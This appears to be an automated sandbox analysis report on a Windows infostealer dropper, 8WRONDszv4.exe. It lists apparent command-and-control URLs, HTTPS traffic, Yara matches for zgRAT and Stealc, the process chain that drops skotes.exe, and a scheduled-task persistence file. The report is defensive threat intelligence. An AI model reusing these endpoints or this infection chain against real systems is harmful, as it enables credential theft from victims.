Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.000000000167F000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ITE
Source: 8WRONDszv4.exe, 00000000.00000003.2296102453.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/V1a
Source: 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000003.3373050563.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.000000000135E000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000003.3373253268.00000000013B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api&
Source: 99468ec718.exe, 0000000D.00000002.3387558023.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api=
Source: 8WRONDszv4.exe, 00000000.00000003.2230278018.0000000005E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apider-
Source: 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apip
Source: 8WRONDszv4.exe, 00000000.00000003.2277383382.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apix
Source: 8WRONDszv4.exe, 00000000.00000003.2277383382.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278450128.00000000016A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: 8WRONDszv4.exe, 00000000.00000003.2443743991.000000000167F000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/ile
Source: 8WRONDszv4.exe, 00000000.00000003.2254309843.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2254503645.0000000005E08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/j
Source: 8WRONDszv4.exe, 00000000.00000003.2277383382.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184773085.000000000164C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278450128.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pih
Source: 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/api
Source: 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256312465.0000000001613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apical
Source: 8WRONDszv4.exe, 00000000.00000003.2277430232.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001613000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256312465.0000000001613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apin.txtPK
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rapeflowwj.lat/
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000E9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rapeflowwj.lat/api
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/aOcN/
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/iOkN.
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp, 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900)N
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900E
Source: 2d537c36c0.exe, 0000000C.00000002.3304675869.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 8WRONDszv4.exe, 00000000.00000003.2186052469.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185936915.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2185859545.0000000005E4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8WRONDszv4.exe, 00000000.00000003.2231667935.0000000005E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 8WRONDszv4.exe, 00000000.00000003.2231667935.0000000005E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 8WRONDszv4.exe, 00000000.00000003.2231750951.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 8WRONDszv4.exe, 00000000.00000003.2232016198.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.6:49990 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: 8WRONDszv4.exe	Static PE information: section name:
Source: 8WRONDszv4.exe	Static PE information: section name: .idata
Source: 8WRONDszv4.exe	Static PE information: section name:
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name:
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Static PE information: section name: .idata
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name:
Source: YHOCXQOWEM64H1IK2TUEH.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: 99468ec718.exe.8.dr	Static PE information: section name:
Source: 99468ec718.exe.8.dr	Static PE information: section name: .idata
Source: 99468ec718.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00EBCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

8_2_00EBCB97

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00067049	6_2_00067049
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00068860	6_2_00068860
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_000678BB	6_2_000678BB
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00138101	6_2_00138101
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_000631A8	6_2_000631A8
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00024B30	6_2_00024B30
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00137B6E	6_2_00137B6E
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00062D10	6_2_00062D10
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00024DE0	6_2_00024DE0
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_00057F36	6_2_00057F36
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_0006779B	6_2_0006779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE78BB	7_2_00EE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE8860	7_2_00EE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE7049	7_2_00EE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE31A8	7_2_00EE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EA4B30	7_2_00EA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EA4DE0	7_2_00EA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE2D10	7_2_00EE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EE779B	7_2_00EE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00ED7F36	7_2_00ED7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EAE530	8_2_00EAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EC6192	8_2_00EC6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE8860	8_2_00EE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EA4B30	8_2_00EA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EA4DE0	8_2_00EA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE2D10	8_2_00EE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EC0E13	8_2_00EC0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE7049	8_2_00EE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE31A8	8_2_00EE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED0BC7	8_2_00ED0BC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EC1602	8_2_00EC1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE779B	8_2_00EE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EE78BB	8_2_00EE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EC3DF1	8_2_00EC3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED7F36	8_2_00ED7F36

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe A8BB33F2E7863A4F50AF391645B42E1C401D58B91C017104215D222EEF02AD70

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EBD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EBD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EBD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EB7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EB80C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ED8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00EBDF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: String function: 000380C0 appears 130 times

Source: 8WRONDszv4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 3.2.62G762VR710L4VXE3U82EH4WFUFY.exe.920000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: random[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 2d537c36c0.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 8WRONDszv4.exe	Static PE information: Section: ZLIB complexity 0.999648948120915
Source: 8WRONDszv4.exe	Static PE information: Section: uubiypuf ZLIB complexity 0.9943806673411271
Source: random[1].exe0.8.dr	Static PE information: Section: ZLIB complexity 0.9989723754084967
Source: random[1].exe0.8.dr	Static PE information: Section: ddxegoij ZLIB complexity 0.9951438790478313
Source: 99468ec718.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9989723754084967
Source: 99468ec718.exe.8.dr	Static PE information: Section: ddxegoij ZLIB complexity 0.9951438790478313

Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.2d537c36c0.exe.56d0000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 10.2.2d537c36c0.exe.42339b8.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/9@10/6

Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\EMR6RB1O.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\8WRONDszv4.exe

File created: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls LIMIT 1000;Q7
Source: 8WRONDszv4.exe, 00000000.00000003.2186596336.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2209102484.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2186209862.0000000005E39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 8WRONDszv4.exe	Virustotal: Detection: 54%
Source: 8WRONDszv4.exe	ReversingLabs: Detection: 57%

Source: 62G762VR710L4VXE3U82EH4WFUFY.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\8WRONDszv4.exe

File read: C:\Users\user\Desktop\8WRONDszv4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\8WRONDszv4.exe "C:\Users\user\Desktop\8WRONDszv4.exe"
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process created: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe "C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe"
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process created: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe "C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe"
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe "C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe"
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process created: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe "C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process created: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe "C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe "C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Section loaded: userenv.dll	Jump to behavior
